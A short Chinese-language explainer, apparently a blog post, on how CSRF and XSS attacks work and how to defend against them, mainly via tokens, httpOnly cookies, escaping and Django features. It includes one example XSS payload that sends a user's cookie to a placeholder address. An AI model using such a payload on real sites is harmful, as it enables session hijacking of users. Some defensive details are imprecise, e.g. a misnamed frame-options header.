CSRF、XSS何方神圣
CSRF(Cross-site request forgery)
中文名字是跨站请求伪造,做的事情就是在别的网站,以你的名义对你登陆认 证过的网站搞事情。
XSS(Cross-site scripting)
中文名字是跨站脚本,做的事情就是在有漏洞的网站,写个dom攻击,或者存个另类的数据到网站数据库,对使用网站的用户造成困扰,属于站内攻击。
它们是怎么令你流泪的
CSRF攻击姿势
在B网站默默写个可访问A网站(用户登陆过了,客户端已经存储cookie)的链接或者脚本。触发方式有用户不小心触发(比如:点击某个按钮啥的),或者用iframe偷偷访问,这时候会带A网站的cookie去请求A服务器,因为用户已经登陆过。如果服务器没有做任何防护,那B网站就开心了,能做的事情就有点多了,比如想去获取一下你的好友列表信息,然后发垃圾邮箱啥的,再比如就是直接转账,把你钱都卷跑。。如果你做了防护,B网站会尝试投你所好,继续攻击,直到没法子。
XSS攻击姿势
1. 检查提交表单是否对用户输入有限制,如果限制没做好,那攻击者可以写入一段脚本、sql语句、包含html标签的内容。
设想录入文章的场景,攻击者写入的文章被用户看到,可发生的事情有:执行js脚本(<script>window.open("xxx?cookie_hh="+document.cookie</script>)完了,用户的cookie要丢了,有了用户cookie,能做的事情就有点多了;或者可能会攻击数据库,操作数据,考验你的数据库承受能力。
2. 显示内容根据url参数是否有关,进行参数攻击。
怎么保住自己的江山
CSRF预防措施
1. 使用cookie的httpOnly,设置为true,就不能通过document.cookie
方式获取用户cookie。
2. 使用token,对每个请求都设置一个token,尤其是post, delete等危险
method,比如django就使用了csrf_token机制预防csrf。
3. 检查reffer,检测链接访问来源。
4. 保证自己站内没有xss,这样用户信息不易丢失,不给csrf假冒用户的机
会。
5. 使用X-iframe-options头部控制别的网站用iframe嵌入你的内容。
6. 利用框架自身特点,比如django的csrf_token。
XSS预防措施
1. 对用户可输入信息的地方保持警惕,做好防护,比如转义什么的。
2. 强化数据库,存入数据之前,考虑到安全性。
3. url中的参数考虑下encode
4. 利用框架本身功能,比如django默认会处理特殊字符